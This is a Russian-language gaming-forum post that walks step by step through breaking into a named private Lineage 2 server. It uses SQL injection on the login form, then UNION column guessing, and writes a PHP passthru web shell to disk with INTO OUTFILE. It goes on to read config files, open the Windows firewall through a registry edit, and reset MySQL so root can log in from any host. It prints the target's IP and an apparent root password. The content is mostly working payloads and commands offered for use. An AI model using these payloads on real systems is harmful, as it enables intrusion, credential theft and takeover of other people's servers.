Главная | Регистрация | Вход Приветствую Вас Гость | RSS
[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
Форум » Общий раздел Lineage 2 » Баги » SQL инъекция (SQL инъекция)
SQL инъекция
WolfДата: Воскресенье, 18.04.2010, 14:55 | Сообщение # 1
Король Lineage 2
Группа: Администраторы
Сообщений: 356
Награды: 11 [ 10026 ]
Статус: Offline
Рассказывать про sql-инъекцию (иньку) я не буду, статей на эту тему множество. Перейдем сразу к практике. А практика будет на ява-сервере ht_tp://www.l2appeal.com
В данном случае инька есть в acm модулях. Зарегистрируем акк MyLogin с паролем MyPas. На странице логина ht_tp://85.14.219.28/acm/?act=account попробуем залогиниться с такими праметрами:
в поле логина вводим mylogin'#
в поле пароля введем любой пасс, например sdfhsd
Пытаемся зайти - зашли, инька есть.

На самом деле инъекция может быть где угодно, но остановимся пока на данном примере. Жмем на сайте Logout, и в адресной строке удаляем символ # (решетки), т.е.
ht_tp://www.gaming-portal.net/acm/?act=account&id=mylogin'#&do=quit
меняем на
ht_tp://www.gaming-portal.net/acm/?act=account&id=mylogin'&do=quit
Жмем в адресной строке отправить - logout прошел.
Теперь надо выяснить, сколько столбцов запрашивается в скрипте логина (что бы сделать нормальный union). Идем на страницу логина, в поле логина пишем так:
dsafasd'union select 1,2,3#
пароль пишем любой, жмем логин - не пустило, Access filed. Пытаемся с таким логином:
dsafasd'union select 1,2,3,4#Опять не пустило. Продолжаем перебор, пока логин не пройдет. C логином
dsafasd'union select 1,2,3,4,5,6# получилось войти.

Отлично, еще и ошибки повылазили Смотрим на ошибки и сохраняем локальный адрес папки acm (ведь на нее есть доступ) - d:/wamp/www/acm/
Движемся дальше. Делаем логаут и снова идем на страницу логина. В поле логина пишем так:
sdfasd'union select null,null,null,null,null,'<?php passthru($_GET["cmd"]); ?>' into outfile 'd:/wamp/www/acm/class.php'#

Расмотрим подробнее. null,null,null,null,null - нужны для того, что бы UNION SELECT прошел нормально, ведь кол-во запрошеных столбцов во втором SELECT должно соответствовать кол-ву столбцов в первом. Для этого мы и перебирали кол-во столбцов ранее.

'<?php passthru($_GET["cmd"]); ?>' - собственно строка, которую возвратит наш запрос union select. Кто знаком с php - тому не надо обьяснять, что это за строка. Кто не знаком - в двух словах команда passthru в пхп выполняет команду, переданную в параметре cmd, на локальном компьютере с правами текущего пользователя.

into outfile - указывает на то, что результат запроса нужно записать в файл, 'd:/wamp/www/acm/class.php' - полный путь до файла с именем файла (обратите внимание, слеши должны быть обратные). Файла class.php по этому пути не существует, поэтому будет создан новый файл class.php и в него будет запсан результат выполнения нашего запроса, то есть простая строчка <?php passthru($_GET["cmd"]); ?>

Едем дальше. Логин не прошел, но если в настройках мускуля (MySQL) у текущего пользователя (текущий пользователь - это логин и пасс, под которым скрипт логина коннектится к мускулю ) есть права на into outfile, то файл будет создан. Обычно, скрипты используют одну учетную запсь, со полными правами.
Пробуем в адресной строке запустить наш шелл. Вбиваем в адресную строку
ht_tp://www.gaming-portal.net/acm/class.php
Если файл создан нормально, и скрипт работает, вы получите что-то вроде этого:

Все, шелл залит. В принципе, можно еще сделать пхп-скрипт с оператором unclude и через него подгрузить внешний нормальный шелл. Но не всегда сервер позволяет использовать внешний инклюд, а локальный нам не к чему.
Теперь у нас есть доступ к командной стркое сервера, можно удалить на**** все базы и форматнуть винты... Но мы же с вами не варвары? Попробуем получить доступ к базе l2jdb.
Команды для выполнения на сервере передаются скрипту через ?cmd=команда. Вбьем в строке такую команду:
ht_tp://www.gaming-portal.net/acm/class.php?cmd=dir d:\
и получим такой результат:

Здесь скрипт выполнил команду dir d:\
Дальше я не буду писать полный путь до скрипта, будут лишь команды cmd=бла-бла-бла. Ну вы поняли, что их нужно дописывать к скрипту так: class.php?cmd=бла-бла-бла

Прочитаем его. Для этого воспользуемся командой type с полным путем до файла. Пишем в адресной строке такую команду
cmd=type d:\L2AppeaL\login\config\loginserver.properties
и видим следующее

Отлично, логин и пасс к мускулю есть. Запишем их. Теперь проверим конект к базе. Запускаем командную строку (пуск->выполнить->cmd). В командной строке вбиваем telnet 85.14.219.28 3306

Результат говорит о том, что на сервере стоит фаерволл и не пропускает коннект на порт 3306 (порт мускуля по умолчанию). Будем надеятся, это - простой брэндмауэр винды. Обойдем его так: в адресную строку вбиваем такую команду
cmd=reg add HKLM\System\ControlSet001\Services\SharedAccess \Parameters\FirewallPolicy\StandardProfile \GloballyOpenPorts\List /v 3306:TCP /t REG_SZ /d 3306:TCP:*:Enabled:MySQL /f
Эта команда внесет в реестре порт 3306 в список исключения брэндмауэра и порт будет открыт. Проверяем через телнет, как описывал выше.

Отлично, фаерволл был один - бренмауер и он сейчас пропускает коннект. Но "Host 'xx xx xx xx' is not allowed to connect to this MySQL server" говорит о том, что с вашего ИПа доступ к мускулю запрещен. Щас поправим Снова берем в руки любимый dir и ищем папку MySQL. Обычно она в каких-то Program Files, но не всегда. Адрес для команды dir лучше заключать в ковычки, например так: cmd=dir "d:\Program Files" Итак, нашли папку мускулю по адресу d:\Program Files\MySQL\MySQL Server 6.0\bin\

Проверим таблицу User. Пишем такую команду:
cmd="d:\Program Files\MySQL\MySQL Server 6.0\bin\mysql.exe" -uroot -pkrolar mysql -e "select * from user"

В этой команде запускается mysql.exe, логин указан после команды -u (заметьте - писать слитно -uroot), затем идем пароль. Дальше - mysql, это имя базы с которой будем работать. Дальше команда -e, она говорит о том, что надо выполнить один запрос и закрыть соединение. В данном случае запрос select * from user. Таблица user в базе данных mysql содержит информацию о пользователях, которым разрешен доступ к мускулю. В данном случае мы видим, что пользователю ROOT разрешен коннект только с локального хоста. С внешних ИПов к базе доступа нет. Пишем такую команду
cmd="d:\Program Files\MySQL\MySQL Server 6.0\bin\mysql.exe" -uroot -pkrolar mysql -e "update user set host='%' where user='root'"

Результат возвращен не будет, но запрос выполнится. А точнее, update user set host='%' where user='root' в поле HOST вместо LOCALHOST запишет символ %, что подразумевает коннект со всех ИПов.
Что бы убедиться, можно еще раз запустить запрс select * from user и проверить, выполнился ли запрос.

Итак, доступ открыт со всех ипов под логином root и паролем krolar. Но что бы изменения вступили в силу, без перезапуска MySQL сервера, нужно сделать reload. Пишем такую команду
cmd="d:\Program Files\MySQL\MySQL Server 6.0\bin\mysqladmin.exe" -uroot -pkrolar reload

Дело сделано. Запускаем Navicat (в нете найдете), жмем Connections. В поле Host name/ IP address вводим ИП нашего сервера - 85.14.219.28, логин - root, пароль krolar. Жмем Test Connection.

Так, после выполнения команды dir d:\ мы видим папку L2Appeal. Это скорей всего сервак линейки. Нужно прочитать его конфиги. Идем по адресу cmd=dir d:\L2AppeaL\login\config и находим файл loginserver.properties

 
Форум » Общий раздел Lineage 2 » Баги » SQL инъекция (SQL инъекция)
  • Страница 1 из 1
  • 1
Поиск:

Хостинг от uCoz
>